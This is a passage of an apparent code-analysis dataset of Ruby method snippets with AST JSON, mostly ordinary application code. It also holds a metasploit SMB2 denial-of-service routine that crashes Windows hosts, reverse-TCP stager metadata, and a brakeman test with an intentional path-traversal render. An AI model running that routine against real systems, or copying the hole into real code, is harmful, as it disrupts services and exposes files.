redirects...\"]},{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"find_each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"u\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ucf\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"u\"]},\"custom_fields\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ucf\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ucf\"]},\"[]\",{\"type\":\"str\",\"children\":[\"import_id\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ucf\"]},\"[]\",{\"type\":\"str\",\"children\":[\"import_username\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"encoded_username\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CGI\"]},\"escape\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ucf\"]},\"[]\",{\"type\":\"str\",\"children\":[\"import_username\"]}]}]},\"gsub\",{\"type\":\"str\",\"children\":[\"+\"]},{\"type\":\"str\",\"children\":[\"%20\"]}]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Permalink\"]},\"create\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"url\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"profile/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ucf\"]},\"[]\",{\"type\":\"str\",\"children\":[\"import_id\"]}]}]},{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"encoded_username\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"external_url\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"/users/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"u\"]},\"username\"]}]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},null,{\"type\":\"nil\",\"children\":[]}]},null]}]},{\"type\":\"send\",\"children\":[null,\"print\",{\"type\":\"str\",\"children\":[\".\"]}]}]},null]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"find_each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"post\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"pcf\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"custom_fields\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pcf\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pcf\"]},\"[]\",{\"type\":\"str\",\"children\":[\"import_id\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"topic\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"topic\"]}]},{\"type\":\"lvasgn\",\"children\":[\"id\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pcf\"]},\"[]\",{\"type\":\"str\",\"children\":[\"import_id\"]}]},\"split\",{\"type\":\"str\",\"children\":[\"#\"]}]},\"last\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"post_number\"]},\"==\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"slug\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Slug\"]},\"for\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"title\"]}]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Permalink\"]},\"create\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"url\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"discussion/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"id\"]}]},{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"slug\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"topic_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"id\"]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},null,{\"type\":\"nil\",\"children\":[]}]},null]}]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Permalink\"]},\"create\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"url\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"discussion/comment/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"id\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"post_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"id\"]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},null,{\"type\":\"nil\",\"children\":[]}]},null]}]}]},{\"type\":\"send\",\"children\":[null,\"print\",{\"type\":\"str\",\"children\":[\".\"]}]}]},null]}]}]}]}]}","id":"8cdf42b4-96e5-4605-856f-a73c89fdddd6"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/namespaces/restore_base_service.rb","start_line":68,"raw_source":"def updated_value(value)\n      \"#{original_value(value)}#{suffix}\"\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"updated_value\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"original_value\",{\"type\":\"lvar\",\"children\":[\"value\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"suffix\"]}]}]}]}","id":"79422949-1e44-451d-8c41-47c6483de680"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/payloads/stagers/windows/encrypted_reverse_tcp.rb","start_line":13,"raw_source":"def initialize(info = {})\n    super(\n      merge_info(\n        info,\n        'Name' => 'Encrypted Reverse TCP Stager',\n        'Description' => 'Connect to MSF and read in stage',\n        'Author' => [\n          'Matt Graeber',\n          'Shelby Pace'\n        ],\n        'License' => MSF_LICENSE,\n        'Platform' => 'win',\n        'Arch' => ARCH_X86,\n        'Handler' => Msf::Handler::ReverseTcp,\n        'Convention' => 'sockedi',\n        'Stager' => { 'RequiresMidstager' => false },\n        'DefaultOptions' => { 'LinkerScript' => \"#{LINK_SCRIPT_PATH}/func_order.ld\" },\n        'Dependencies' => [ Metasploit::Framework::Compiler::Mingw::X86 ]\n      )\n    )\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"merge_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Encrypted Reverse TCP Stager\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"str\",\"children\":[\"Connect to MSF and read in stage\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Matt Graeber\"]},{\"type\":\"str\",\"children\":[\"Shelby Pace\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"win\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_X86\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Handler\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Handler\"]},\"ReverseTcp\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Convention\"]},{\"type\":\"str\",\"children\":[\"sockedi\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stager\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"RequiresMidstager\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"LinkerScript\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"LINK_SCRIPT_PATH\"]}]},{\"type\":\"str\",\"children\":[\"/func_order.ld\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Dependencies\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Metasploit\"]},\"Framework\"]},\"Compiler\"]},\"Mingw\"]},\"X86\"]}]}]}]}]}]}]}","id":"901938c4-4395-4562-8ed8-002aac6a1745"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/services/activitypub/process_collection_service.rb","start_line":67,"raw_source":"def process_item(item)\n    activity = ActivityPub::Activity.factory(item, @account, **@options)\n    activity&.perform\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"process_item\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"item\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"activity\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActivityPub\"]},\"Activity\"]},\"factory\",{\"type\":\"lvar\",\"children\":[\"item\"]},{\"type\":\"ivar\",\"children\":[\"@account\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@options\"]}]}]}]}]},{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"activity\"]},\"perform\"]}]}]}","id":"30e91fe9-ab85-419f-8929-21cfc2459b4a"}
{"repo_name":"rails","file_path":"./repos/rails/activejob/test/cases/test_helper_test.rb","start_line":423,"raw_source":"def test_assert_no_enqueued_jobs_with_only_and_except_option_as_array\n      error = assert_raise ArgumentError do\n        assert_no_enqueued_jobs only: [HelloJob, RescueJob], except: [HelloJob, RescueJob] do\n          LoggingJob.perform_later\n        end\n      end\n\n      assert_match(/`:only` and `:except`/, error.message)\n    end","complexity_score":8.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_assert_no_enqueued_jobs_with_only_and_except_option_as_array\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"error\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_no_enqueued_jobs\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"only\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"HelloJob\"]},{\"type\":\"const\",\"children\":[null,\"RescueJob\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"except\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"HelloJob\"]},{\"type\":\"const\",\"children\":[null,\"RescueJob\"]}]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"LoggingJob\"]},\"perform_later\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"`:only` and `:except`\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},\"message\"]}]}]}]}","id":"cd6195fd-442f-40f1-90e9-6e7721133c94"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/spaceship/spec/spec_helper.rb","start_line":27,"raw_source":"def try_delete(path)\n  FileUtils.rm_f(path) if File.exist?(path)\nend","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"try_delete\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"exist?\",{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FileUtils\"]},\"rm_f\",{\"type\":\"lvar\",\"children\":[\"path\"]}]},null]}]}","id":"818d842e-9a39-4ae3-a84d-875dfa8854be"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_enterprise.rb","start_line":47,"raw_source":"def vms\n    Vm.where.not(:ems_id => nil)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"vms\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Vm\"]},\"where\"]},\"not\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ems_id\"]},{\"type\":\"nil\",\"children\":[]}]}]}]}]}","id":"35226ee4-15b6-4b7c-8a25-0086ece5ffc7"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/bulk_imports/common/extractors/json_extractor.rb","start_line":42,"raw_source":"def decompression_service(context)\n          @decompression_service ||= BulkImports::FileDecompressionService.new(\n            tmpdir: tmpdir, filename: filename, context: context\n          )\n        end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"decompression_service\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"context\"]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@decompression_service\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"BulkImports\"]},\"FileDecompressionService\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"tmpdir\"]},{\"type\":\"send\",\"children\":[null,\"tmpdir\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"filename\"]},{\"type\":\"send\",\"children\":[null,\"filename\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"context\"]},{\"type\":\"lvar\",\"children\":[\"context\"]}]}]}]}]}]}","id":"80c69b16-3c98-45d9-bfa8-75a1f9678bde"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/projects/container_repository/gitlab/cleanup_tags_service.rb","start_line":11,"raw_source":"def initialize(container_repository:, current_user: nil, params: {})\n          super\n          @params = params.dup\n        end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"container_repository\"]},{\"type\":\"kwoptarg\",\"children\":[\"current_user\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"params\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@params\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"dup\"]}]}]}]}","id":"1a5ff3ff-71df-4108-a8d4-09b53be1ef55"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/test/apps/rails3/app/controllers/home_controller.rb","start_line":61,"raw_source":"def test_dynamic_render\n    page = params[:page]\n    render :file => \"/some/path/#{page}\"\n  end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_dynamic_render\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"page\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"page\"]}]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"file\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"/some/path/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"page\"]}]}]}]}]}]}]}]}","id":"855a11e9-f83c-4fe3-9232-3e108a813944"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/bulk_imports/tree_export_service.rb","start_line":9,"raw_source":"def initialize(portable, export_path, relation, user)\n      @portable = portable\n      @export_path = export_path\n      @relation = relation\n      @config = FileTransfer.config_for(portable)\n      @user = user\n    end","complexity_score":6.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"portable\"]},{\"type\":\"arg\",\"children\":[\"export_path\"]},{\"type\":\"arg\",\"children\":[\"relation\"]},{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@portable\",{\"type\":\"lvar\",\"children\":[\"portable\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@export_path\",{\"type\":\"lvar\",\"children\":[\"export_path\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@relation\",{\"type\":\"lvar\",\"children\":[\"relation\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@config\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FileTransfer\"]},\"config_for\",{\"type\":\"lvar\",\"children\":[\"portable\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@user\",{\"type\":\"lvar\",\"children\":[\"user\"]}]}]}]}","id":"f9bdfaf3-ff55-4a66-87ab-7708887dfded"}
{"repo_name":"spree","file_path":"./repos/spree/storefront/app/helpers/spree/theme_helper.rb","start_line":6,"raw_source":"def current_page\n      @current_page ||= current_theme.pages.find_by(type: 'Spree::Pages::Homepage')\n    end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"current_page\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@current_page\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_theme\"]},\"pages\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"str\",\"children\":[\"Spree::Pages::Homepage\"]}]}]}]}]}]}","id":"993da198-447a-4c66-a7d3-b6b8fc92a000"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/testing/parallelization/server.rb","start_line":72,"raw_source":"def shutdown\n          # Wait for initial queue to drain\n          while @queue.length != 0\n            sleep 0.1\n          end\n\n          @queue.close\n\n          wait_for_active_workers\n\n          @in_flight.values.each do |(klass, name, reporter)|\n            result = Minitest::Result.from(klass.new(name))\n            error = RuntimeError.new(\"result not reported\")\n            error.set_backtrace([\"\"])\n            result.failures << Minitest::UnexpectedError.new(error)\n            reporter.synchronize do\n              reporter.record(result)\n            end\n          end\n        rescue Interrupt\n          warn \"Interrupted. Exiting...\"\n\n          @queue.close\n\n          wait_for_active_workers\n        end","complexity_score":38.88,"ast_json":"{\"type\":\"def\",\"children\":[\"shutdown\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"while\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@queue\"]},\"length\"]},\"!=\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[null,\"sleep\",{\"type\":\"float\",\"children\":[0.1]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@queue\"]},\"close\"]},{\"type\":\"send\",\"children\":[null,\"wait_for_active_workers\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@in_flight\"]},\"values\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"arg\",\"children\":[\"klass\"]},{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"arg\",\"children\":[\"reporter\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Minitest\"]},\"Result\"]},\"from\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"error\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RuntimeError\"]},\"new\",{\"type\":\"str\",\"children\":[\"result not reported\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},\"set_backtrace\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"failures\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Minitest\"]},\"UnexpectedError\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"error\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"reporter\"]},\"synchronize\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"reporter\"]},\"record\",{\"type\":\"lvar\",\"children\":[\"result\"]}]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Interrupt\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"warn\",{\"type\":\"str\",\"children\":[\"Interrupted. Exiting...\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@queue\"]},\"close\"]},{\"type\":\"send\",\"children\":[null,\"wait_for_active_workers\"]}]}]},null]}]}","id":"32307d2d-4711-4702-8f86-4165f6dff845"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/dos/windows/smb/ms09_050_smb2_negotiate_pidhigh.rb","start_line":45,"raw_source":"def run\n    connect\n\n    # The SMB 2 dialect must be there\n    dialects = ['PC NETWORK PROGRAM 1.0', 'LANMAN1.0', 'Windows for Workgroups 3.1a', 'LM1.2X002', 'LANMAN2.1', 'NT LM 0.12', 'SMB 2.002']\n    data = dialects.collect { |dialect| \"\\x02\" + dialect + \"\\x00\" }.join('')\n\n    pkt = Rex::Proto::SMB::Constants::SMB_NEG_PKT.make_struct\n    pkt['Payload']['SMB'].v['Command'] = Rex::Proto::SMB::Constants::SMB_COM_NEGOTIATE\n    pkt['Payload']['SMB'].v['Flags1'] = 0x18\n    pkt['Payload']['SMB'].v['Flags2'] = 0xc853\n    pkt['Payload'].v['Payload'] = data\n\n    pkt['Payload']['SMB'].v['ProcessIDHigh'] = datastore['OFFSET'].to_i\n    pkt['Payload']['SMB'].v['ProcessID'] = 0\n    pkt['Payload']['SMB'].v['MultiplexID'] = rand(0x10000)\n\n    print_status('Sending request and waiting for a reply...')\n    sock.put(pkt.to_s)\n    r = sock.get_once\n\n    if !r\n      print_status('The target system has likely crashed')\n    else\n      print_status(\"Response received: #{r.inspect}\")\n    end\n\n    disconnect\n  end","complexity_score":61.5,"ast_json":"{\"type\":\"def\",\"children\":[\"run\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connect\"]},{\"type\":\"lvasgn\",\"children\":[\"dialects\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"PC NETWORK PROGRAM 1.0\"]},{\"type\":\"str\",\"children\":[\"LANMAN1.0\"]},{\"type\":\"str\",\"children\":[\"Windows for Workgroups 3.1a\"]},{\"type\":\"str\",\"children\":[\"LM1.2X002\"]},{\"type\":\"str\",\"children\":[\"LANMAN2.1\"]},{\"type\":\"str\",\"children\":[\"NT LM 0.12\"]},{\"type\":\"str\",\"children\":[\"SMB 2.002\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dialects\"]},\"collect\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"dialect\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"\\u0002\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"dialect\"]}]},\"+\",{\"type\":\"str\",\"children\":[\"\\u0000\"]}]}]},\"join\",{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"pkt\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Proto\"]},\"SMB\"]},\"Constants\"]},\"SMB_NEG_PKT\"]},\"make_struct\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pkt\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Payload\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"SMB\"]}]},\"v\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"Command\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Proto\"]},\"SMB\"]},\"Constants\"]},\"SMB_COM_NEGOTIATE\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pkt\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Payload\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"SMB\"]}]},\"v\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"Flags1\"]},{\"type\":\"int\",\"children\":[24]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pkt\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Payload\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"SMB\"]}]},\"